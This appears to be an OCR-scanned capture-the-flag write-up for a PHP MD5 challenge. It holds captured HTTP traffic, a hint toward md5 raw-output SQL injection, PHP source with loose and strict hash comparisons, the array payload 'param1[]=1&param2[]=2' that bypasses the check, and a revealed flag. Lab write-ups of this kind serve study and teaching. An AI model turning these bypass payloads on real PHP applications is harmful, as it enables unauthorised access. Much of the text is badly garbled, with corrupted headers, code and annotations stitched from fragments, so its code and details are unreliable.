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Hint: select * from ‘admin’ where password=md5($pass,true)
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GET /leveldod.php?password=123 HTTP/1.1 HTTP/1.1 200 OK

.
Host: GE1fh3f7-29fh-49a4-853F-4354dc0188=a. node3 . buuo] .on P Server: openresty

User-igent: Mozilla/5.0 (Windows NT 10.0; Winéd; x€4; rviBe.0) Gecke/20100101 Firefox/8e.0 Date: Fri, 30 Apr 2021 03:2€:39 GHMT

Aecepe: text/htnl,application/xheml+xnl, application/xml; q=0.8, imags/webp, */ *;q=0.8 Content-Type: text/html; charsec=UTF-8

Accept-Language: zh-CH, zh:q=0.8, zh-TW; q=0.7, zh-HEK; q=0.5,en-US; q=0.3,, en; =0.2 Connection: close

Aceept-Encoding: gzip, deflate Hint:[select * from 'admwin' where password=md5i§pass,trus)
Connsction: closs X-POVSTEq-EYT PRP77.7.1

Referer: http://9ELEb2£7-29fb-49a4-853£-4354dc0188ea. node3 .buuo] .cn/ leveldod. php Content-Length: 3107

Upgrads-Insecure-Requests: 1
<!DOCTYPE html>
<html lang="zh-CN">
<heads
<meta charsec=rucf-gns

<styles
Emedia all and (min-width:600px) {
»

£*00wi A hOOOOOOOOOO0 /.
box-sizing: border-box:
¥
body {
/*0000000000000* /

position: relative;
display: flex:

height: 550px:

align-items: center;
Justify-content: center;:
background-size: cover:
background-repeat: no-repeat:

¥

f#container*/
.container {

background-color: white:
width: 30%;

height: 20%;
border-radius: 8px;
position: relative:

¥

/*container end*/

/*neader*/
#header h1 {
L s 3
| position: relative:
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md5(string,raw)
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raw ke AUE- T NEEH s T R4 A% 30 TRUE - Ji46 16 545 —dkfil#% = FALSE - BRik.

md5(‘abed’, true); QO9LG9350.3

echo md5(‘abed’, false);  e2fc714c4727ee9395f324cd2e7f331f

<meta http-squiv="X-UA-Compatible" contenc="IE=zdgs">
<meta name="viewport” content="width=device-width, initial-scale=1">

border: rgba(240, 235, 235, 0.932) solid 3px;
box-shadow: 10px 10px 10px rgba(173, 173, 173,

0.61);
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Do You Like MD5?
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if ($a 1= $b && md5($a) = md5($b))
/7 wow, glzjin wants a girl friend

<IDOCTYPE html>
<html lang="zh-CN">
<head>
{meta charset="utf-3">
<meta http-equiv="Y-UA-Compatible” content="IE=edze”>
{meta name="viewport” content="width=device-width, initial-scale=1">
<style>
span |
position: relative;
display: flex;
width: 100%:
height: 700px;
align-items: center;
font-size: TOpx;
font-family: Lucida Sans’, "Lucida Sans Regular’, *Lucida Grande’, 'Lucida Sans Unicode’, Geneva
justify-content: center;
}
/style>
</head>

<body>
{span>Do You Like MND57</span>
</body>

</html>
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$a $b md5($a md5 ($b
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md5() ERECAREALER A, SR E null, md5(a[]) Z44 null.
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$a =
Sb =
if(§a != §b && md5(Sa) == md5(5b))
wow, glzjin wants a girl friend
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<head>
<{meta charset="utf-§">
<meta http-equiv="¥-UA-Compatible” content="IE=edze”>
{meta name="viewport” content="width=device-width, initial-scale=1">
<style>
span |
position: relative:;
display: flex;
width: 100%;
height: 700px;
align-items: center;
font-size: TOpx:
font-family: Lucida Sans’, 'Lucida Sans Resular’, 'Lucida Grande’, "Lucida Sans Unicode’, Geneva, ¥
Justify-content: center;
)
</style>
</head>

<body>
<span>Do Tou Like MD5%</span’
</body>

</html >

<{seriptrwindow. location. replace( . flevellld. php’ ) </bcript>
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<Tphp

error_reporting (0] ;
include “flasz. php”;

highlight_file(_ FILE_ ):

1£(3_POST[ paraml’ ]'==3_POST[ param?’ ]&&mdS($_POST[ paraml’ 1)===md5 (3 _POST[ param? 1)) {
echo $flag:

if($_POST md5($ _POST md5($ _POST
echo $flag

FIFER)E R, PR — RT3 2flag

J Raw | Params | Headers | Hex | J Raw | Headers | Hex | XML |

FOST /levellld.php HITP/1.1 % HTTP/L.1 200 OF
Host: SELfhIf7-28fh-49a4-853f-4354dc0188ea. node3.buuod.cn P Server: openresty
User-Agent: Mozilla/S.0 (Windows NT 10.0; Wingd; x64; rviSe.0) Gecko/20100101 Firefox/86.0 Date: Fri, 30 Apr 2021 D€:11:15 GHT
hccept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 Content-Type: text/html; charsst=UTF-8
e Zh-CN, zh; q=0.8, zh-TV; q=0.7, zh-HE; q=0.5, en-US; q=0.3, en; q=0.2 Conmsction: close

deflate ¥-Pousrad-By: PHF/7.3.13

Contenc-Length: 1464

<cods><span styles"color: $0000007>

<span style="color: #00D0BE">&1t:?php<br />error_reporting</span><span style="color: #007700">(</span><span
style=rcolor: #ODODBE">0</span><span style="color: #0077007>) ;<br />ine. /5t span s lor:
parami[]=Lsparam2 []=2 HDDDODO">"Flag. php' </ span><span style="color: HOOTF00N>:<br /><br /></span><span style=rcolor:
#00D0BE”>highlight_file</span><span style="color: §0077007>(</span><span style="color:
#OOD0EE">_FILE </ spanr<span style="color: $007700"-);<br /><br />if(</span><span style="color:
HOODOEE">§_POST</span><span style=ncolor: $0077007>[</span><span style="color: #DDODDONS'paraml’</spans<span
style=rcolor: $0077007>]1==</span><span style="color: £0000BE">$ _POST</span><span style="color:

#007700"> [</span><span style="color: #DDO000">'param2’</span><span style="color

#0077007>] &amp ;Gamp ; </span><span style=rcolor: #ODDDBE">md5</span><span style=reolor: #0077007>(</span><span
#00°

style=rcolor: HOODDBE">§ POST</span><span style="colo :
#DDO000">'paraml' </span><span style="color: #007700">1)===</span><span style="color: #0000BE">md5</span><span
style=rcolor: #0077007>(</span><span style=ncolor: #000DEB">§_POST</spans<span style=reolor:

#007700"> [</Span><span style="color: #DDOO00">'param2’ </span><span style=’color: #007700">1)){<br

/>&nbsp ;Gnhsp ;&nbsp ;&nbsp ;echoknbsp ; </ span><span style="color: #0000BB">§flag</span><span style="color:
#007700"> ; <hr />}</span>

</span>

</code>

700> [</span><span style=rcolor:
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INT ~ = & S0LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML-

wEe ¥ @ 5 8- @~ & »

ENCRYPTION- OTHER- XS5

@ Load URL | hitp://961fb2f7-29fb-40a4-853f-4354dc018Bea.node 3. buucj.cn/levell14.php

% split URL

b} Execute

Postdata [ ] Referrer 4™ OxHEX ™ % %URL ™

&= BASEG4 BB

Insert string to replace

Insert replacing string

Post data param1|]:'|&param2[|:2|

<7php
error_reporting(0) :
include “flag.php”;

highlight_file(_ FILE_);

if (§_POST[ paraml’ ]!==$_POST[ param?’ ]&&md5{(§ POST[ paraml’ ]1)===md5(§_POST[ param2’ 1)) {

echo §flag:
} flag{08ed0329-3d13-4c3e-8f41-c9aeaal09c8b}
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